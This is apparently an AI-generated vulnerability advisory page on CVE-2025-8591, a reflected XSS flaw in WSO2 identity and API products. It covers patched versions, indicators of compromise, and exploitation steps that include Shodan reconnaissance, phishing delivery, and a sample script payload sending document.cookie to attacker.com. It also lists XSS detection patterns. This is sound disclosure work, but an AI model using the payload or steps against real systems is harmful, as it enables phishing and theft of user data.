CVE-2025-8591
WSO2 API Manager vulnerability analysis and mitigation

Overview

CVE-2025-8591 is a reflected cross-site scripting (XSS) vulnerability affecting multiple WSO2 products, including WSO2 API Manager, Identity Server, API Control Plane, Traffic Manager, Universal Gateway, Open Banking AM, Open Banking IAM, and Identity Server as Key Manager. The vulnerability arises from insufficient output encoding of user-supplied input received via URL parameters before it is reflected back to the user's browser. It was published on July 6, 2026, with patches made available on the same date. The CVSS v3.1 base score is 6.1 (Medium) (GitHub Advisory, WSO2 Advisory).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The application reflects user-controlled URL parameter values directly into HTML responses without applying proper context-aware output encoding, enabling an attacker to inject arbitrary JavaScript or HTML. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must click a crafted malicious link. The impact is partially mitigated by the use of httpOnly flags on session-related cookies, which prevents direct session token theft via JavaScript (GitHub Advisory, WSO2 Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to inject malicious scripts into pages rendered by the victim's browser, enabling browser redirection to attacker-controlled websites, UI manipulation, and theft of non-session browser data (e.g., form inputs, local storage contents). Session hijacking is not possible due to httpOnly cookie protections. The vulnerability affects a broad range of WSO2 enterprise products used for API management and identity services, meaning exploitation could target end users of these platforms in phishing or credential-harvesting campaigns (GitHub Advisory, WSO2 Advisory).

Exploitation steps

  1. Reconnaissance: Identify publicly accessible WSO2 product instances (API Manager, Identity Server, etc.) using search engines or tools like Shodan, targeting versions within the affected ranges.
  2. Identify vulnerable parameter: Locate URL parameters in the application that are reflected in the HTTP response without encoding — typically found in error pages, redirect flows, or login-related endpoints.
  3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target.example.com/vulnerable-endpoint?param=<script>document.location='https://attacker.com/?c='+document.cookie</script>.
  4. Deliver to victim: Send the crafted URL to a target user via phishing email, social media, or other social engineering channels, enticing them to click the link.
  5. Payload execution: When the victim clicks the link and their browser loads the page, the injected script executes in the context of the WSO2 application's origin, enabling redirection, UI manipulation, or exfiltration of non-httpOnly browser data (GitHub Advisory, WSO2 Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing WSO2 application URLs; unusual redirect chains originating from WSO2 endpoints.
  • Logs: Web server or application access logs showing requests to WSO2 endpoints with URL-encoded script tags or JavaScript event handlers in query parameters (e.g., %3Cscript%3E, onerror=, javascript:).
  • Logs: Referrer headers in external server logs pointing back to WSO2 application URLs, indicating successful XSS-triggered redirects.
  • Browser/Client: Users reporting unexpected redirects or altered page content when accessing WSO2 login or API portal pages via shared links.

Mitigation and workarounds

WSO2 has released patched versions for all affected products. Organizations should upgrade to the following minimum versions: API Manager (3.1.0.355, 3.2.0.459, 3.2.1.78, 4.0.0.380, 4.1.0.243, 4.2.0.183, 4.3.0.94, 4.4.0.58, 4.5.0.43, 4.6.0.7), Identity Server (5.10.0.384, 6.0.0.255, 7.0.0.131, 7.1.0.51), API Control Plane (4.5.0.44, 4.6.0.8), Traffic Manager (4.5.0.42, 4.6.0.7), Universal Gateway (4.5.0.42, 4.6.0.7), Open Banking AM (2.0.0.404), Open Banking IAM (2.0.0.424), and Identity Server as Key Manager (5.10.0.375). As interim mitigations, deploying a Web Application Firewall (WAF) with XSS filtering rules and implementing a strict Content Security Policy (CSP) header can reduce exploitation risk. Upgrading to patched versions is the recommended remediation (WSO2 Advisory).

Community reactions

The vulnerability received routine coverage from automated CVE tracking services and vulnerability databases shortly after disclosure. No notable independent researcher commentary, vendor statements beyond the official WSO2 advisory, or significant social media discussion has been identified beyond standard CVE broadcast posts (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related WSO2 API Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-2053CRITICAL10
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesJun 26, 2026
CVE-2026-4249HIGH8.6
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesJul 06, 2026
CVE-2025-13475HIGH7.3
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesJul 04, 2026
CVE-2025-8591MEDIUM6.1
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:identity_server
NoYesJul 06, 2026
CVE-2024-1248MEDIUM5.3
  • WSO2 API Manager logoWSO2 API Manager
  • cpe:2.3:a:wso2:api_manager
NoYesJul 04, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management